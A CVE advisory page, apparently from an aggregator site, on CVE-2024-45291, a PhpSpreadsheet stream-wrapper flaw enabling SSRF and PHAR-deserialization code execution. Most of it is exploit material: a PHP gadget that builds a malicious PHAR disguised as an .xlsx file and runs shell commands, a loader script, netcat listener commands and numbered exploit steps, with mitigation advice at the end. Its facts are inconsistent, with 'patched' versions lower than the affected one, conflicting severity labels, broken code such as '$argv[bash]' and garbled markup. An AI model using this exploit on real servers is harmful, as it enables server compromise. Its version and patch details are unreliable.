PhpSpreadsheet, PHP Wrapper SSRF/Local File Inclusion → RCE, CVE-2024-45291 (Critical)

Listen to this Post

🔬 How the Vulnerability Works

The core issue is how `PhpSpreadsheet` validates file paths supplied to IOFactory::load(). The library uses `is_file($filename)` inside `File::assertFile()` to check if a file exists. `is_file()` is PHP wrapper‑aware and will call `stat()` on any stream wrapper that supports it. Three wrapper types pass this check: ftp://`,phar://, andssh2.sftp://`.
Because `is_file()` returns `true` for these wrapper paths, the validation succeeds and the path is passed deeper into the loading process.
– With phar://, the library will deserialize metadata stored inside the PHAR archive. If a malicious gadget chain exists, this leads to Remote Code Execution (RCE).
– With ftp://`, the library makes an outbound connection to the specified FTP server, causing a Server‑Side Request Forgery (SSRF) that can be used to scan internal networks or interact with internal services.
The attack works even if the file inside the PHAR does not exist; the vulnerable logic triggers before any “file not found” error occurs. The issue remains present at least up to version
1.30.2.
<h2 style="color: blue;">dailycve form</h2>

Platform: PhpSpreadsheet
Version: 1.30.2 (≤1.30.2, 2.1.14, 2.4.3, 3.10.3)
Vulnerability : SSRF / Phar‑Deserialization → RCE
Severity: High (CVSS 8.8)
date: 2024‑10‑07
Prediction: 2024‑10‑21

<h2 style="color: blue;">📊 What Undercode Say</h2>
Bash command to test if a server is vulnerable

Check for vulnerable versions via Composer
composer show phpoffice/phpspreadsheet | grep versions
Quick SSRF test (requires netcat listener)
nc -lvnp 21 & php test.php ftp://127.0.0.1:21/test

<h2 style="color: blue;">PHP gadget to generate a malicious PHAR</h2>

<?php
// make_phar.php – create a PHAR that triggers RCE
class GadgetClass {
public $data;
function __construct($d) { $this->data = $d; }
function __destruct() { shell_exec($this->data); }
}
$pop = new GadgetClass('touch /tmp/poc.txt');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.xlsx');
echo "exploit.xlsx created\n";
?>

<h2 style="color: blue;">Test script that loads the malicious path</h2>

<?php
// test.php – loads a user‑supplied file path
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$filename = $argv[bash] ?? null;
if (!$filename) exit("Usage: php test.php <path>\n");
echo "Calling IOFactory::load('$filename')\n";
try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vulnerability triggered even on exception.\n";
}
?>

<h2 style="color: blue;">RCE demonstration</h2>

php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test
ls -lah /tmp/poc.txt file created = RCE successful

<h2 style="color: blue;">SSRF demonstration</h2>

Terminal 1: start FTP listener
ncat -lvp 21
Terminal 2: trigger SSRF
php test.php ftp://127.0.0.1:21/test

<h2 style="color: blue;">🛠️ Exploit</h2>
1. Craft a malicious PHAR using the provided `make_phar.php` script.
2. Rename it to disguise the payload (e.g.
exploit.xlsx).
3. Serve or upload the file to a location accessible by the target application.
<h2 style="color: blue;">4. Call `IOFactory::load()` with a `phar://` path, e.g.</h2>
<h2 style="color: blue;">
php test.php phar://exploit.xlsx/whatever.</h2>
5. Observe the gadget’s destructor being invoked → arbitrary command execution.
For SSRF, simply supply an
ftp://` wrapper path; the library will attempt to connect to the specified host/port.

🔒 Protection from this CVE

  • Upgrade PhpSpreadsheet to a patched version:
  • ≥1.29.2, ≥2.1.1, ≥2.3.0, `≥3.0.0` etc.
  • Input validation – reject any file path containing a PHP stream wrapper:
    $scheme = parse_url($filename, PHP_URL_SCHEME);
    if ($scheme !== null && strlen($scheme) > 1) {
    throw new Exception("Stream wrappers are not permitted.");
    }
    
  • Use `realpath()` before validation to collapse wrapper paths:
    $real = realpath($filename);
    if ($real === false || !is_file($real)) {
    throw new Exception("Invalid file path.");
    }
    
  • Disable dangerous PHP wrappers in `php.ini` (e.g. phar.readonly = On, disable expect://, `ftp://` etc.).
  • Avoid using `IOFactory::load()` on user‑supplied filenames – prefer `IOFactory::createReader()` with a strict reader type.

    💥 Impact

  • Remote Code Execution – An attacker can execute arbitrary commands on the server by chaining the PHAR deserialisation with a gadget present in the application’s dependency tree.
  • Server‑Side Request Forgery (SSRF) – The library can be tricked into making HTTP/FTP requests to internal hosts, leading to information disclosure, port scanning, or interaction with internal services.
  • Arbitrary File Read – Local files can be exfiltrated (e.g., /etc/passwd) if the application writes the loaded content to an output (e.g., HTML writer).
  • Widespread exposure – PhpSpreadsheet is a core dependency in many popular wrappers (maatwebsite/excel for Laravel, sonata-project/exporter, etc.), amplifying the attack surface.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top